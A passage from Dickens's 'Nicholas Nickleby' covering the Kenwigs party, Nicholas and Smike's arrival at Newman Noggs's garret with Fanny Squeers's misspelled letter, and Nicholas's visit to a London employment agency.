occasion--' + +'I can't resist that,' interrupted Miss Petowker; 'anything in my +humble power I shall be delighted to do.' + +Mrs Kenwigs and Miss Petowker had arranged a small PROGRAMME of the +entertainments between them, of which this was the prescribed order, +but they had settled to have a little pressing on both sides, +because it looked more natural. The company being all ready, Miss +Petowker hummed a tune, and Morleena danced a dance; having +previously had the soles of her shoes chalked, with as much care as +if she were going on the tight-rope. It was a very beautiful +figure, comprising a great deal of work for the arms, and was +received with unbounded applause. + +'If I was blessed with a--a child--' said Miss Petowker, blushing, +'of such genius as that, I would have her out at the Opera +instantly.' + +Mrs Kenwigs sighed, and looked at Mr Kenwigs, who shook his head, +and observed that he was doubtful about it. + +'Kenwigs is afraid,' said Mrs K. + +'What of?' inquired Miss Petowker, 'not of her failing?' + +'Oh no,' replied Mrs Kenwigs, 'but if she grew up what she is now,-- +only think of the young dukes and marquises.' + +'Very right,' said the collector. + +'Still,' submitted Miss Petowker, 'if she took a proper pride in +herself, you know--' + +'There's a good deal in that,' observed Mrs Kenwigs, looking at her +husband. + +'I only know--' faltered Miss Petowker,--'it may be no rule to be +sure--but I have never found any inconvenience or unpleasantness of +that sort.' + +Mr Kenwigs, with becoming gallantry, said that settled the question +at once, and that he would take the subject into his serious +consideration. This being resolved upon, Miss Petowker was +entreated to begin the Blood-Drinker's Burial; to which end, that +young lady let down her back hair, and taking up her position at the +other end of the room, with the bachelor friend posted in a corner, +to rush out at the cue 'in death expire,' and catch her in his arms +when she died raving mad, went through the performance with +extraordinary spirit, and to the great terror of the little +Kenwigses, who were all but frightened into fits. + +The ecstasies consequent upon the effort had not yet subsided, and +Newman (who had not been thoroughly sober at so late an hour for a +long long time,) had not yet been able to put in a word of +announcement, that the punch was ready, when a hasty knock was heard +at the room-door, which elicited a shriek from Mrs Kenwigs, who +immediately divined that the baby had fallen out of bed. + +'Who is that?' demanded Mr Kenwigs, sharply. + +'Don't be alarmed, it's only me,' said Crowl, looking in, in his +nightcap. 'The baby is very comfortable, for I peeped into the room +as I came down, and it's fast asleep, and so is the girl; and I +don't think the candle will set fire to the bed-curtain, unless a +draught was to get into the room--it's Mr Noggs that's wanted.' + +'Me!' cried Newman, much astonished. + +'Why, it IS a queer hour, isn't it?' replied Crowl, who was not best +pleased at the prospect of losing his fire; 'and they are queer- +looking people, too, all covered with rain and mud. Shall I tell +them to go away?' + +'No,' said Newman, rising. 'People? How many?' + +'Two,' rejoined Crowl. + +'Want me? By name?' asked Newman. + +'By name,' replied Crowl. 'Mr Newman Noggs, as pat as need be.' + +Newman reflected for a few seconds, and then hurried away, muttering +that he would be back directly. He was as good as his word; for, in +an exceedingly short time, he burst into the room, and seizing, +without a word of apology or explanation, a lighted candle and +tumbler of hot punch from the table, darted away like a madman. + +'What the deuce is the matter with him?' exclaimed Crowl, throwing +the door open. 'Hark! Is there any noise above?' + +The guests rose in great confusion, and, looking in each other's +faces with much perplexity and some fear, stretched their necks +forward, and listened attentively. + + + +CHAPTER 15 + +Acquaints the Reader with the Cause and Origin of the Interruption +described in the last Chapter, and with some other Matters necessary +to be known + + +Newman Noggs scrambled in violent haste upstairs with the steaming +beverage, which he had so unceremoniously snatched from the table of +Mr Kenwigs, and indeed from the very grasp of the water-rate +collector, who was eyeing the contents of the tumbler, at the moment +of its unexpected abstraction, with lively marks of pleasure visible +in his countenance. He bore his prize straight to his own back- +garret, where, footsore and nearly shoeless, wet, dirty, jaded, and +disfigured with every mark of fatiguing travel, sat Nicholas and +Smike, at once the cause and partner of his toil; both perfectly +worn out by their unwonted and protracted exertion. + +Newman's first act was to compel Nicholas, with gentle force, to +swallow half of the punch at a breath, nearly boiling as it was; and +his next, to pour the remainder down the throat of Smike, who, never +having tasted anything stronger than aperient medicine in his whole +life, exhibited various odd manifestations of surprise and delight, +during the passage of the liquor down his throat, and turned up his +eyes most emphatically when it was all gone. + +'You are wet through,' said Newman, passing his hand hastily over +the coat which Nicholas had thrown off; 'and I--I--haven't even a +change,' he added, with a wistful glance at the shabby clothes he +wore himself. + +'I have dry clothes, or at least such as will serve my turn well, in +my bundle,' replied Nicholas. 'If you look so distressed to see me, +you will add to the pain I feel already, at being compelled, for one +night, to cast myself upon your slender means for aid and shelter.' + +Newman did not look the less distressed to hear Nicholas talking in +this strain; but, upon his young friend grasping him heartily by the +hand, and assuring him that nothing but implicit confidence in the +sincerity of his professions, and kindness of feeling towards +himself, would have induced him, on any consideration, even to have +made him acquainted with his arrival in London, Mr Noggs brightened +up again, and went about making such arrangements as were in his +power for the comfort of his visitors, with extreme alacrity. + +These were simple enough; poor Newman's means halting at a very +considerable distance short of his inclinations; but, slight as they +were, they were not made without much bustling and running about. +As Nicholas had husbanded his scanty stock of money, so well that it +was not yet quite expended, a supper of bread and cheese, with some +cold beef from the cook's shop, was soon placed upon the table; and +these viands being flanked by a bottle of spirits and a pot of +porter, there was no ground for apprehension on the score of hunger +or thirst, at all events. Such preparations as Newman had it in his +power to make, for the accommodation of his guests during the night, +occupied no very great time in completing; and as he had insisted, +as an express preliminary, that Nicholas should change his clothes, +and that Smike should invest himself in his solitary coat (which no +entreaties would dissuade him from stripping off for the purpose), +the travellers partook of their frugal fare, with more satisfaction +than one of them at least had derived from many a better meal. + +They then drew near the fire, which Newman Noggs had made up as well +as he could, after the inroads of Crowl upon the fuel; and Nicholas, +who had hitherto been restrained by the extreme anxiety of his +friend that he should refresh himself after his journey, now pressed +him with earnest questions concerning his mother and sister. + +'Well,' replied Newman, with his accustomed taciturnity; 'both +well.' + +'They are living in the city still?' inquired Nicholas. + +'They are,' said Newman. + +'And my sister,'--added Nicholas. 'Is she still engaged in the +business which she wrote to tell me she thought she should like so +much?' + +Newman opened his eyes rather wider than usual, but merely replied +by a gasp, which, according to the action of the head that +accompanied it, was interpreted by his friends as meaning yes or no. +In the present instance, the pantomime consisted of a nod, and not a +shake; so Nicholas took the answer as a favourable one. + +'Now listen to me,' said Nicholas, laying his hand on Newman's +shoulder. 'Before I would make an effort to see them, I deemed it +expedient to come to you, lest, by gratifying my own selfish desire, +I should inflict an injury upon them which I can never repair. What +has my uncle heard from Yorkshire?' + +Newman opened and shut his mouth, several times, as though he were +trying his utmost to speak, but could make nothing of it, and +finally fixed his eyes on Nicholas with a grim and ghastly stare. + +'What has he heard?' urged Nicholas, colouring. 'You see that I am +prepared to hear the very worst that malice can have suggested. Why +should you conceal it from me? I must know it sooner or later; and +what purpose can be gained by trifling with the matter for a few +minutes, when half the time would put me in possession of all that +has occurred? Tell me at once, pray.' + +'Tomorrow morning,' said Newman; 'hear it tomorrow.' + +'What purpose would that answer?' urged Nicholas. + +'You would sleep the better,' replied Newman. + +'I should sleep the worse,' answered Nicholas, impatiently. 'Sleep! +Exhausted as I am, and standing in no common need of rest, I cannot +hope to close my eyes all night, unless you tell me everything.' + +'And if I should tell you everything,' said Newman, hesitating. + +'Why, then you may rouse my indignation or wound my pride,' rejoined +Nicholas; 'but you will not break my rest; for if the scene were +acted over again, I could take no other part than I have taken; and +whatever consequences may accrue to myself from it, I shall never +regret doing as I have done--never, if I starve or beg in +consequence. What is a little poverty or suffering, to the disgrace +of the basest and most inhuman cowardice! I tell you, if I had +stood by, tamely and passively, I should have hated myself, and +merited the contempt of every man in existence. The black-hearted +scoundrel!' + +With this gentle allusion to the absent Mr Squeers, Nicholas +repressed his rising wrath, and relating to Newman exactly what had +passed at Dotheboys Hall, entreated him to speak out without more +pressing. Thus adjured, Mr Noggs took, from an old trunk, a sheet +of paper, which appeared to have been scrawled over in great haste; +and after sundry extraordinary demonstrations of reluctance, +delivered himself in the following terms. + +'My dear young man, you mustn't give way to--this sort of thing will +never do, you know--as to getting on in the world, if you take +everybody's part that's ill-treated--Damn it, I am proud to hear of +it; and would have done it myself!' + +Newman accompanied this very unusual outbreak with a violent blow +upon the table, as if, in the heat of the moment, he had mistaken it +for the chest or ribs of Mr Wackford Squeers. Having, by this open +declaration of his feelings, quite precluded himself from offering +Nicholas any cautious worldly advice (which had been his first +intention), Mr Noggs went straight to the point. + +'The day before yesterday,' said Newman, 'your uncle received this +letter. I took a hasty copy of it, while he was out. Shall I read +it?' + +'If you please,' replied Nicholas. Newman Noggs accordingly read as +follows: + +'DOTHEBOYS HALL, +'THURSDAY MORNING. + +'SIR, + +'My pa requests me to write to you, the doctors considering it +doubtful whether he will ever recuvver the use of his legs which +prevents his holding a pen. + +'We are in a state of mind beyond everything, and my pa is one mask +of brooses both blue and green likewise two forms are steepled in +his Goar. We were kimpelled to have him carried down into the +kitchen where he now lays. You will judge from this that he has +been brought very low. + +'When your nevew that you recommended for a teacher had done this to +my pa and jumped upon his body with his feet and also langwedge +which I will not pollewt my pen with describing, he assaulted my ma +with dreadful violence, dashed her to the earth, and drove her back +comb several inches into her head. A very little more and it must +have entered her skull. We have a medical certifiket that if it +had, the tortershell would have affected the brain. + +'Me and my brother were then the victims of his feury since which we +have suffered very much which leads us to the arrowing belief that +we have received some injury in our insides, especially as no marks +of violence are visible externally. I am screaming out loud all the +time I write and so is my brother which takes off my attention +rather and I hope will excuse mistakes. + +'The monster having sasiated his thirst for blood ran away, taking +with him a boy of desperate caracter that he had excited to +rebellyon, and a garnet ring belonging to my ma, and not having been +apprehended by the constables is supposed to have been took up by +some stage-coach. My pa begs that if he comes to you the ring may +be returned, and that you will let the thief and assassin go, as if +we prosecuted him he would only be transported, and if he is let go +he is sure to be hung before long which will save us trouble and be +much more satisfactory. Hoping to hear from you when convenient + +'I remain +'Yours and cetrer +'FANNY SQUEERS. + +'P.S. I pity his ignorance and despise him.' + +A profound silence succeeded to the reading of this choice epistle, +during which Newman Noggs, as he folded it up, gazed with a kind of +grotesque pity at the boy of desperate character therein referred +to; who, having no more distinct perception of the matter in hand, +than that he had been the unfortunate cause of heaping trouble and +falsehood upon Nicholas, sat mute and dispirited, with a most +woe-begone and heart-stricken look. + +'Mr Noggs,' said Nicholas, after a few moments' reflection, 'I must +go out at once.' + +'Go out!' cried Newman. + +'Yes,' said Nicholas, 'to Golden Square. Nobody who knows me would +believe this story of the ring; but it may suit the purpose, or +gratify the hatred of Mr Ralph Nickleby to feign to attach credence +to it. It is due--not to him, but to myself--that I should state +the truth; and moreover, I have a word or two to exchange with him, +which will not keep cool.' + +'They must,' said Newman. + +'They must not, indeed,' rejoined Nicholas firmly, as he prepared to +leave the house. + +'Hear me speak,' said Newman, planting himself before his impetuous +young friend. 'He is not there. He is away from town. He will not +be back for three days; and I know that letter will not be answered +before he returns.' + +'Are you sure of this?' asked Nicholas, chafing violently, and +pacing the narrow room with rapid strides. + +'Quite,' rejoined Newman. 'He had hardly read it when he was called +away. Its contents are known to nobody but himself and us.' + +'Are you certain?' demanded Nicholas, precipitately; 'not even to my +mother or sister? If I thought that they--I will go there--I must +see them. Which is the way? Where is it?' + +'Now, be advised by me,' said Newman, speaking for the moment, in +his earnestness, like any other man--'make no effort to see even +them, till he comes home. I know the man. Do not seem to have been +tampering with anybody. When he returns, go straight to him, and +speak as boldly as you like. Guessing at the real truth, he knows +it as well as you or I. Trust him for that.' + +'You mean well to me, and should know him better than I can,' +replied Nicholas, after some consideration. 'Well; let it be so.' + +Newman, who had stood during the foregoing conversation with his +back planted against the door, ready to oppose any egress from the +apartment by force, if necessary, resumed his seat with much +satisfaction; and as the water in the kettle was by this time +boiling, made a glassful of spirits and water for Nicholas, and a +cracked mug-full for the joint accommodation of himself and Smike, +of which the two partook in great harmony, while Nicholas, leaning +his head upon his hand, remained buried in melancholy meditation. + +Meanwhile, the company below stairs, after listening attentively and +not hearing any noise which would justify them in interfering for +the gratification of their curiosity, returned to the chamber of the +Kenwigses, and employed themselves in hazarding a great variety of +conjectures relative to the cause of Mr Noggs' sudden disappearance +and detention. + +'Lor, I'll tell you what,' said Mrs Kenwigs. 'Suppose it should be +an express sent up to say that his property has all come back +again!' + +'Dear me,' said Mr Kenwigs; 'it's not impossible. Perhaps, in that +case, we'd better send up and ask if he won't take a little more +punch.' + +'Kenwigs!' said Mr Lillyvick, in a loud voice, 'I'm surprised at +you.' + +'What's the matter, sir?' asked Mr Kenwigs, with becoming submission +to the collector of water-rates. + +'Making such a remark as that, sir,' replied Mr Lillyvick, angrily. +'He has had punch already, has he not, sir? I consider the way in +which that punch was cut off, if I may use the expression, highly +disrespectful to this company; scandalous, perfectly scandalous. It +may be the custom to allow such things in this house, but it's not +the kind of behaviour that I've been used to see displayed, and so I +don't mind telling you, Kenwigs. A gentleman has a glass of punch +before him to which he is just about to set his lips, when another +gentleman comes and collars that glass of punch, without a "with +your leave", or "by your leave", and carries that glass of punch +away. This may be good manners--I dare say it is--but I don't +understand it, that's all; and what's more, I don't care if I never +do. It's my way to speak my mind, Kenwigs, and that is my mind; and +if you don't like it, it's past my regular time for going to bed, +and I can find my way home without making it later.' + +Here was an untoward event! The collector had sat swelling and +fuming in offended dignity for some minutes, and had now fairly +burst out. The great man--the rich relation--the unmarried uncle-- +who had it in his power to make Morleena an heiress, and the very +baby a legatee--was offended. Gracious Powers, where was this to +end! + +'I am very sorry, sir,' said Mr Kenwigs, humbly. + +'Don't tell me you're sorry,' retorted Mr Lillyvick, with much +sharpness. 'You should have prevented it, then.' + +The company were quite paralysed by this domestic crash. The back- +parlour sat with her mouth wide open, staring vacantly at the +collector, in a stupor of dismay; the other guests were scarcely +less overpowered by the great man's irritation. Mr Kenwigs, not +being skilful in such matters, only fanned the flame in attempting +to extinguish it. + +'I didn't think of it, I am sure, sir,' said that gentleman. 'I +didn't suppose that such a little thing as a glass of punch would +have put you out of temper.' + +'Out of temper! What the devil do you mean by that piece of +impertinence, Mr Kenwigs?' said the collector. 'Morleena, child-- +give me my hat.' + +'Oh, you're not going, Mr Lillyvick, sir,' interposed Miss Petowker, +with her most bewitching smile. + +But still Mr Lillyvick, regardless of the siren, cried obdurately, +'Morleena, my hat!' upon the fourth repetition of which demand, Mrs +Kenwigs sunk back in her chair, with a cry that might have softened +a water-butt, not to say a water-collector; while the four little +girls (privately instructed to that effect) clasped their uncle's +drab shorts in their arms, and prayed him, in imperfect English, to +remain. + +'Why should I stop here, my dears?' said Mr Lillyvick; 'I'm not +wanted here.' + +'Oh, do not speak so cruelly, uncle,' sobbed Mrs Kenwigs, 'unless +you wish to kill me.' + +'I shouldn't wonder if some people were to say I did,' replied Mr +Lillyvick, glancing angrily at Kenwigs. 'Out of temper!' + +'Oh! I cannot bear to see him look so, at my husband,' cried Mrs +Kenwigs. 'It's so dreadful in families. Oh!' + +'Mr Lillyvick,' said Kenwigs, 'I hope, for the sake of your niece, +that you won't object to be reconciled.' + +The collector's features relaxed, as the company added their +entreaties to those of his nephew-in-law. He gave up his hat, and +held out his hand. + +'There, Kenwigs,' said Mr Lillyvick; 'and let me tell you, at the +same time, to show you how much out of temper I was, that if I had +gone away without another word, it would have made no difference +respecting that pound or two which I shall leave among your children +when I die.' + +'Morleena Kenwigs,' cried her mother, in a torrent of affection. +'Go down upon your knees to your dear uncle, and beg him to love you +all his life through, for he's more a angel than a man, and I've +always said so.' + +Miss Morleena approaching to do homage, in compliance with this +injunction, was summarily caught up and kissed by Mr Lillyvick; and +thereupon Mrs Kenwigs darted forward and kissed the collector, and +an irrepressible murmur of applause broke from the company who had +witnessed his magnanimity. + +The worthy gentleman then became once more the life and soul of the +society; being again reinstated in his old post of lion, from which +high station the temporary distraction of their thoughts had for a +moment dispossessed him. Quadruped lions are said to be savage, +only when they are hungry; biped lions are rarely sulky longer than +when their appetite for distinction remains unappeased. Mr +Lillyvick stood higher than ever; for he had shown his power; hinted +at his property and testamentary intentions; gained great credit for +disinterestedness and virtue; and, in addition to all, was finally +accommodated with a much larger tumbler of punch than that which +Newman Noggs had so feloniously made off with. + +'I say! I beg everybody's pardon for intruding again,' said Crowl, +looking in at this happy juncture; 'but what a queer business this +is, isn't it? Noggs has lived in this house, now going on for five +years, and nobody has ever been to see him before, within the memory +of the oldest inhabitant.' + +'It's a strange time of night to be called away, sir, certainly,' +said the collector; 'and the behaviour of Mr Noggs himself, is, to +say the least of it, mysterious.' + +'Well, so it is,' rejoined Growl; 'and I'll tell you what's more--I +think these two geniuses, whoever they are, have run away from +somewhere.' + +'What makes you think that, sir?' demanded the collector, who +seemed, by a tacit understanding, to have been chosen and elected +mouthpiece to the company. 'You have no reason to suppose that they +have run away from anywhere without paying the rates and taxes due, +I hope?' + +Mr Crowl, with a look of some contempt, was about to enter a general +protest against the payment of rates or taxes, under any +circumstances, when he was checked by a timely whisper from Kenwigs, +and several frowns and winks from Mrs K., which providentially +stopped him. + +'Why the fact is,' said Crowl, who had been listening at Newman's +door with all his might and main; 'the fact is, that they have been +talking so loud, that they quite disturbed me in my room, and so I +couldn't help catching a word here, and a word there; and all I +heard, certainly seemed to refer to their having bolted from some +place or other. I don't wish to alarm Mrs Kenwigs; but I hope they +haven't come from any jail or hospital, and brought away a fever or +some unpleasantness of that sort, which might be catching for the +children.' + +Mrs Kenwigs was so overpowered by this supposition, that it needed +all the tender attentions of Miss Petowker, of the Theatre Royal, +Drury Lane, to restore her to anything like a state of calmness; not +to mention the assiduity of Mr Kenwigs, who held a fat smelling- +bottle to his lady's nose, until it became matter of some doubt +whether the tears which coursed down her face were the result of +feelings or SAL VOLATILE. + +The ladies, having expressed their sympathy, singly and separately, +fell, according to custom, into a little chorus of soothing +expressions, among which, such condolences as 'Poor dear!'--'I +should feel just the same, if I was her'--'To be sure, it's a very +trying thing'--and 'Nobody but a mother knows what a mother's +feelings is,' were among the most prominent, and most frequently +repeated. In short, the opinion of the company was so clearly +manifested, that Mr Kenwigs was on the point of repairing to Mr +Noggs's room, to demand an explanation, and had indeed swallowed a +preparatory glass of punch, with great inflexibility and steadiness +of purpose, when the attention of all present was diverted by a new +and terrible surprise. + +This was nothing less than the sudden pouring forth of a rapid +succession of the shrillest and most piercing screams, from an upper +story; and to all appearance from the very two-pair back, in which +the infant Kenwigs was at that moment enshrined. They were no +sooner audible, than Mrs Kenwigs, opining that a strange cat had +come in, and sucked the baby's breath while the girl was asleep, +made for the door, wringing her hands, and shrieking dismally; to +the great consternation and confusion of the company. + +'Mr Kenwigs, see what it is; make haste!' cried the sister, laying +violent hands upon Mrs Kenwigs, and holding her back by force. 'Oh +don't twist about so, dear, or I can never hold you.' + +'My baby, my blessed, blessed, blessed, blessed baby!' screamed Mrs +Kenwigs, making every blessed louder than the last. 'My own +darling, sweet, innocent Lillyvick--Oh let me go to him. Let me go- +o-o-o!' + +Pending the utterance of these frantic cries, and the wails and +lamentations of the four little girls, Mr Kenwigs rushed upstairs to +the room whence the sounds proceeded; at the door of which, he +encountered Nicholas, with the child in his arms, who darted out +with such violence, that the anxious father was thrown down six +stairs, and alighted on the nearest landing-place, before he had +found time to open his mouth to ask what was the matter. + +'Don't be alarmed,' cried Nicholas, running down; 'here it is; it's +all out, it's all over; pray compose yourselves; there's no harm +done;' and with these, and a thousand other assurances, he delivered +the baby (whom, in his hurry, he had carried upside down), to Mrs +Kenwigs, and ran back to assist Mr Kenwigs, who was rubbing his head +very hard, and looking much bewildered by his tumble. + +Reassured by this cheering intelligence, the company in some degree +recovered from their fears, which had been productive of some most +singular instances of a total want of presence of mind; thus, the +bachelor friend had, for a long time, supported in his arms Mrs +Kenwigs's sister, instead of Mrs Kenwigs; and the worthy Mr +Lillyvick had been actually seen, in the perturbation of his +spirits, to kiss Miss Petowker several times, behind the room-door, +as calmly as if nothing distressing were going forward. + +'It is a mere nothing,' said Nicholas, returning to Mrs Kenwigs; +'the little girl, who was watching the child, being tired I suppose, +fell asleep, and set her hair on fire.' + +'Oh you malicious little wretch!' cried Mrs Kenwigs, impressively +shaking her forefinger at the small unfortunate, who might be +thirteen years old, and was looking on with a singed head and a +frightened face. + +'I heard her cries,' continued Nicholas, 'and ran down, in time to +prevent her setting fire to anything else. You may depend upon it +that the child is not hurt; for I took it off the bed myself, and +brought it here to convince you.' + +This brief explanation over, the infant, who, as he was christened +after the collector! rejoiced in the names of Lillyvick Kenwigs, was +partially suffocated under the caresses of the audience, and +squeezed to his mother's bosom, until he roared again. The +attention of the company was then directed, by a natural transition, +to the little girl who had had the audacity to burn her hair off, +and who, after receiving sundry small slaps and pushes from the more +energetic of the ladies, was mercifully sent home: the ninepence, +with which she was to have been rewarded, being escheated to the +Kenwigs family. + +'And whatever we are to say to you, sir,' exclaimed Mrs Kenwigs, +addressing young Lillyvick's deliverer, 'I am sure I don't know.' + +'You need say nothing at all,' replied Nicholas. 'I have done +nothing to found any very strong claim upon your eloquence, I am +sure.' + +'He might have been burnt to death, if it hadn't been for you, sir,' +simpered Miss Petowker. + +'Not very likely, I think,' replied Nicholas; 'for there was +abundance of assistance here, which must have reached him before he +had been in any danger.' + +'You will let us drink your health, anyvays, sir!' said Mr Kenwigs +motioning towards the table. + +'--In my absence, by all means,' rejoined Nicholas, with a smile. +'I have had a very fatiguing journey, and should be most indifferent +company--a far greater check upon your merriment, than a promoter of +it, even if I kept awake, which I think very doubtful. If you will +allow me, I'll return to my friend, Mr Noggs, who went upstairs +again, when he found nothing serious had occurred. Good-night.' + +Excusing himself, in these terms, from joining in the festivities, +Nicholas took a most winning farewell of Mrs Kenwigs and the other +ladies, and retired, after making a very extraordinary impression +upon the company. + +'What a delightful young man!' cried Mrs Kenwigs. + +'Uncommon gentlemanly, really,' said Mr Kenwigs. 'Don't you think +so, Mr Lillyvick?' + +'Yes,' said the collector, with a dubious shrug of his shoulders, +'He is gentlemanly, very gentlemanly--in appearance.' + +'I hope you don't see anything against him, uncle?' inquired Mrs +Kenwigs. + +'No, my dear,' replied the collector, 'no. I trust he may not turn +out--well--no matter--my love to you, my dear, and long life to the +baby!' + +'Your namesake,' said Mrs Kenwigs, with a sweet smile. + +'And I hope a worthy namesake,' observed Mr Kenwigs, willing to +propitiate the collector. 'I hope a baby as will never disgrace his +godfather, and as may be considered, in arter years, of a piece with +the Lillyvicks whose name he bears. I do say--and Mrs Kenwigs is of +the same sentiment, and feels it as strong as I do--that I consider +his being called Lillyvick one of the greatest blessings and Honours +of my existence.' + +'THE greatest blessing, Kenwigs,' murmured his lady. + +'THE greatest blessing,' said Mr Kenwigs, correcting himself. 'A +blessing that I hope, one of these days, I may be able to deserve.' + +This was a politic stroke of the Kenwigses, because it made Mr +Lillyvick the great head and fountain of the baby's importance. The +good gentleman felt the delicacy and dexterity of the touch, and at +once proposed the health of the gentleman, name unknown, who had +signalised himself, that night, by his coolness and alacrity. + +'Who, I don't mind saying,' observed Mr Lillyvick, as a great +concession, 'is a good-looking young man enough, with manners that I +hope his character may be equal to.' + +'He has a very nice face and style, really,' said Mrs Kenwigs. + +'He certainly has,' added Miss Petowker. 'There's something in his +appearance quite--dear, dear, what's that word again?' + +'What word?' inquired Mr Lillyvick. + +'Why--dear me, how stupid I am,' replied Miss Petowker, hesitating. +'What do you call it, when Lords break off door-knockers and beat +policemen, and play at coaches with other people's money, and all +that sort of thing?' + +'Aristocratic?' suggested the collector. + +'Ah! aristocratic,' replied Miss Petowker; 'something very +aristocratic about him, isn't there?' + +The gentleman held their peace, and smiled at each other, as who +should say, 'Well! there's no accounting for tastes;' but the ladies +resolved unanimously that Nicholas had an aristocratic air; and +nobody caring to dispute the position, it was established +triumphantly. + +The punch being, by this time, drunk out, and the little Kenwigses +(who had for some time previously held their little eyes open with +their little forefingers) becoming fractious, and requesting rather +urgently to be put to bed, the collector made a move by pulling out +his watch, and acquainting the company that it was nigh two o'clock; +whereat some of the guests were surprised and others shocked, and +hats and bonnets being groped for under the tables, and in course of +time found, their owners went away, after a vast deal of shaking of +hands, and many remarks how they had never spent such a delightful +evening, and how they marvelled to find it so late, expecting to +have heard that it was half-past ten at the very latest, and how +they wished that Mr and Mrs Kenwigs had a wedding-day once a week, +and how they wondered by what hidden agency Mrs Kenwigs could +possibly have managed so well; and a great deal more of the same +kind. To all of which flattering expressions, Mr and Mrs Kenwigs +replied, by thanking every lady and gentleman, SERIATIM, for the +favour of their company, and hoping they might have enjoyed +themselves only half as well as they said they had. + +As to Nicholas, quite unconscious of the impression he had produced, +he had long since fallen asleep, leaving Mr Newman Noggs and Smike +to empty the spirit bottle between them; and this office they +performed with such extreme good-will, that Newman was equally at a +loss to determine whether he himself was quite sober, and whether he +had ever seen any gentleman so heavily, drowsily, and completely +intoxicated as his new acquaintance. + + + +CHAPTER 16 + +Nicholas seeks to employ himself in a New Capacity, and being +unsuccessful, accepts an engagement as Tutor in a Private Family + + +The first care of Nicholas, next morning, was, to look after some +room in which, until better times dawned upon him, he could contrive +to exist, without trenching upon the hospitality of Newman Noggs, +who would have slept upon the stairs with pleasure, so that his +young friend was accommodated. + +The vacant apartment to which the bill in the parlour window bore +reference, appeared, on inquiry, to be a small back-room on the +second floor, reclaimed from the leads, and overlooking a soot- +bespeckled prospect of tiles and chimney-pots. For the letting of +this portion of the house from week to week, on reasonable terms, +the parlour lodger was empowered to treat; he being deputed by the +landlord to dispose of the rooms as they became vacant, and to keep +a sharp look-out that the lodgers didn't run away. As a means of +securing the punctual discharge of which last service he was +permitted to live rent-free, lest he should at any time be tempted +to run away himself. + +Of this chamber, Nicholas became the tenant; and having hired a few +common articles of furniture from a neighbouring broker, and paid +the first week's hire in advance, out of a small fund raised by the +conversion of some spare clothes into ready money, he sat himself +down to ruminate upon his prospects, which, like the prospect +outside his window, were sufficiently confined and dingy. As they +by no means improved on better acquaintance, and as familiarity +breeds contempt, he resolved to banish them from his thoughts by +dint of hard walking. So, taking up his hat, and leaving poor Smike +to arrange and rearrange the room with as much delight as if it had +been the costliest palace, he betook himself to the streets, and +mingled with the crowd which thronged them. + +Although a man may lose a sense of his own importance when he is a +mere unit among a busy throng, all utterly regardless of him, it by +no means follows that he can dispossess himself, with equal +facility, of a very strong sense of the importance and magnitude of +his cares. The unhappy state of his own affairs was the one idea +which occupied the brain of Nicholas, walk as fast as he would; and +when he tried to dislodge it by speculating on the situation and +prospects of the people who surrounded him, he caught himself, in a +few seconds, contrasting their condition with his own, and gliding +almost imperceptibly back into his old train of thought again. + +Occupied in these reflections, as he was making his way along one of +the great public thoroughfares of London, he chanced to raise his +eyes to a blue board, whereon was inscribed, in characters of gold, +'General Agency Office; for places and situations of all kinds +inquire within.' It was a shop-front, fitted up with a gauze blind +and an inner door; and in the window hung a long and tempting array +of written placards, announcing vacant places of every grade, from a +secretary's to a foot-boy's. + +Nicholas halted, instinctively, before this temple of promise, and +ran his eye over the capital-text openings in life which were so +profusely displayed. When he had completed his survey he walked on +a little way, and then back, and then on again; at length, after +pausing irresolutely several times before the door of the General +Agency Office, he made up his mind, and stepped in. + +He found himself in a little floor-clothed room, with a high desk +railed off in one corner, behind which sat a lean youth with cunning +eyes and a protruding chin, whose performances in capital-text +darkened the window. He had a thick ledger lying open before him, +and with the fingers of his right hand inserted between the leaves, +and his eyes fixed on a very fat old lady in a mob-cap--evidently +the proprietress of the establishment--who was airing herself at the +fire, seemed to be only waiting her directions to refer to some +entries contained within its rusty clasps. + +As there was a board outside, which acquainted the public that +servants-of-all-work were perpetually in waiting to be hired from +ten till four, Nicholas knew at once that some half-dozen strong +young women, each with pattens and an umbrella, who were sitting +upon a form in one corner, were in attendance for that purpose: +especially as the poor things looked anxious and weary. He was not +quite so certain of the callings and stations of two smart young +ladies who were in conversation with the fat lady before the fire, +until--having sat himself down in a corner, and remarked that he +would wait until the other customers had been served--the fat lady +resumed the dialogue which his entrance had interrupted. + +'Cook, Tom,' said the fat lady, still airing herself as aforesaid. + +'Cook,' said Tom, turning over some leaves of the ledger. 'Well!' + +'Read out an easy place or two,' said the fat lady. + +'Pick out very light ones, if you please, young man,' interposed a +genteel female, in shepherd's-plaid boots, who appeared to be the +client. + +'"Mrs Marker,"' said Tom, reading, '"Russell Place, Russell Square; +offers eighteen guineas; tea and sugar found. Two in family, and +see very little company. Five servants kept. No man. No +followers."' + +'Oh Lor!' tittered the client. 'THAT won't do. Read another, young +man, will you?' + +'"Mrs Wrymug,"' said Tom, '"Pleasant Place, Finsbury. Wages, twelve +guineas. No tea, no sugar. Serious family--"' + +'Ah! you needn't mind reading that,' interrupted the client. + +'"Three serious footmen,"' said Tom, impressively. + +'Three? did you say?' asked the client in an altered tone. + +'Three serious footmen,' replied Tom. '"Cook, housemaid, and +nursemaid; each female servant required to join the Little Bethel +Congregation three times every Sunday--with a serious footman. If +the cook is more serious than the footman, she will be expected to +improve the footman; if the footman is more serious than the cook, +he will be expected to improve the cook."' + +'I'll take the address of that place,' said the client; 'I don't +know but what it mightn't suit me pretty well.' + +'Here's another,' remarked Tom, turning over the leaves. '"Family +of Mr Gallanbile, MP. Fifteen guineas, tea and sugar, and servants +allowed to see male cousins, if godly. Note. Cold dinner in the +kitchen on the Sabbath, Mr Gallanbile being devoted to the +Observance question. No victuals whatever cooked on the Lord's Day, +with the exception of dinner for Mr and Mrs Gallanbile, which, being +a work of piety and necessity, is exempted. Mr Gallanbile dines +late on the day of rest, in order to prevent the sinfulness of the +cook's dressing herself."' + +'I don't think that'll answer as well as the other,' said the +client, after a little whispering with her friend. 'I'll take the +other direction, if you please, young man. I can but come back +again, if it don't do.' + +Tom made out the address, as requested, and the genteel client, +having satisfied the fat lady with a small fee, meanwhile, went away +accompanied by her friend. + +As Nicholas opened his mouth, to request the young man to turn to +letter S, and let him know what secretaryships remained undisposed +of, there came into the office an applicant, in whose favour he +immediately retired, and whose appearance both surprised and +interested him. + +This was a young lady who could be scarcely eighteen, of very slight +and delicate figure, but exquisitely shaped, who, walking timidly up +to the desk, made an inquiry, in a very low tone of voice, relative +to some situation as governess, or companion to a lady. She raised +her veil, for an instant, while she preferred the inquiry, and +disclosed a countenance of most uncommon beauty, though shaded by a +cloud of sadness, which, in one so young, was doubly remarkable. +Having received a card of reference to some person 